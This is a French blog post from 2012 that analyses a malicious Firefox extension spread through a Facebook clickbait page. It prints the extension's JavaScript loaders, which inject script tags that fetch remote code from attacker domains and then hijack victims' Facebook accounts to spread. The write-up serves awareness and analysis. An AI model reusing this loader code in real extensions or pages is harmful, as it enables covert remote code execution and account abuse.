EDIT 18/01/2012 – 12h57 : Visiblement l’auteur du bouzin a modifié le truc, je regarde ça et j’édite l’article
Je traînais sur facebook jusqu’à ce que je tombe sur une page à boulet : Les 5 trucs que font toutes les filles avant de retrouver leur mec … Et là, à ma grande surprise, la page me redirige vers un site! Probablement grâce à un morceau de code javascript, mais je vais vous laisser enquêter sur ça
Bref, je me retrouve donc sur une page qui a tout l’air d’une page de phishing. On remarque immédiatement que le but de la page est de faire télécharger une extension à l’utilisateur. Le cadre avec la vidéo youtube-like est en fait un iframe pointant vers http://lesfrancais.info/creme.php. En explorant le code source de cette page, on trouve le lien vers l’extension Firefox que le site veut nous faire télécharger.
A partir de ce moment là, je me retrouve avec une extension firefox en .xpi dont je ne sais que faire. Je décide donc de regarder ce que me renvois la commande file.
$ file trucs.xpi trucs.xpi: Zip archive data, at least v2.0 to extract
Ôh magie, un fichier ZIP! Je m’empresse de le dé-zipper. Et voici ce que je découvre :
$ ls -ls total 72 8 -rw-r--r--@ 1 tlk staff 173 22 déc 23:09 chrome.manifest 8 -rw-r--r--@ 1 tlk staff 149 6 déc 18:56 chrome.txt 0 drwxr-xr-x 8 tlk staff 272 1 jan 20:45 content 8 -rw-r--r--@ 1 tlk staff 924 3 jan 00:38 install.rdf 8 -rw-r--r--@ 1 tlk staff 1231 3 jan 00:38 install.txt
Je regarde vite fait ce que contiennent les fichiers install.rdf, install.txt, chrome.manifest et chrome.txt. Mais rien de bien cool, sauf peut être un site internet, mais qui visiblement ne correspond à rien (un whois qui indique une personne n’habitant pas en france, même chose pour les autres domaines que l’on va rencontrer)
Le dossier content contient plusieurs fichiers javascript dont je ne sait pas à quoi ils peuvent correspondre. Le seul fichier qui me paraît intéressant se nomme youtube.js
loadScript_you();
function loadScript_you() {
if ('https:' == document.location.protocol) return false;
var s = document.createElement('script');
s.setAttribute("type","text/javascript");
s.setAttribute("src", "http://les-francais.info/g.js");
var head=document.getElementsByTagName("head")[0];
if( head==null) return false;
head.appendChild(s);
return true;
}
Le code javascript ajoute une balise script dans la balise head de la page. Ce qui va charger un nouveau code javascript.
<pre>function addScript() {
var s = document.createElement('script');
s.setAttribute("type", "text/javascript");
s.setAttribute("src", "http://buzz-france.info/w.js");
var a = document.getElementsByTagName('script')[0];
if (a == null) return false;
a.appendChild(s);
return true
}
addScript();
var installed = 1;</pre>
On regarde le nouveau code javascript qui est chargé dans le navigateur… Et là, on rigole. Voici en gros ce que réalise ce script : il vous fait liker une de ces 5 pages :
- https://www.facebook.com/profile.php?id=154794704624877
- https://www.facebook.com/profile.php?id=280169568699504
- https://www.facebook.com/profile.php?id=268526349850504
- https://www.facebook.com/profile.php?id=347601538583293
- https://www.facebook.com/profile.php?id=343275379035315
(Les deux derniers liens permettent de voir que la personne n’en est pas à son coup d’essai
)
Le script va aussi marquer certains de vos amis sur des photos, changer votre statut et d’autres choses qui ont pour but de faire télécharger au plus de personne possible l’extension firefox.
Autre chose assez fun : l’auteur a pensé à mettre un compteur pour voir le nombre de personne qui sont actuellement sur facebook et qui ont l’extension activée. A l’heure où je publie l’article, le compteur est à environ 800, hier soir il était à plus de 3000
En bref, un module firefox est un véritable point d’entré sur le navigateur d’un utilisateur. On peut enregistrer tout ce que l’utilisateur va valider comme formulaire, voir sur quels sites il va se balader, etc … Un véritable petit rootkit pour navigateur.
EDIT DU 18/01/2012 – 13h01 :
Le téléchargement de l’extension se fait maintenant depuis cette adresse.
Le premier fichier a changé d’adresse, ainsi que le second : premier fichier, second fichier.
Les différentes pages que l’utilisateur va partager par différents moyens :
- https://www.facebook.com/profile.php?id=265592873507963
- https://www.facebook.com/profile.php?id=333585419995353
- https://www.facebook.com/profile.php?id=152404644871854
- https://www.facebook.com/profile.php?id=238426396233549
- https://www.facebook.com/profile.php?id=302177653165925
- https://www.facebook.com/profile.php?id=330048160361108
- https://www.facebook.com/profile.php?id=351463374881223
- https://www.facebook.com/profile.php?id=222923384459049
- https://www.facebook.com/profile.php?id=340313475992556
- https://www.facebook.com/profile.php?id=287795674611208
- https://www.facebook.com/profile.php?id=277490065649139
- https://www.facebook.com/profile.php?id=132362790216004
L’adresse du compteur a aussi changé : compteur. Visiblement, l’auteur n’a toujours pas compris qu’il pouvait faire des choses bien plus dévastatrices. (et tant mieux!)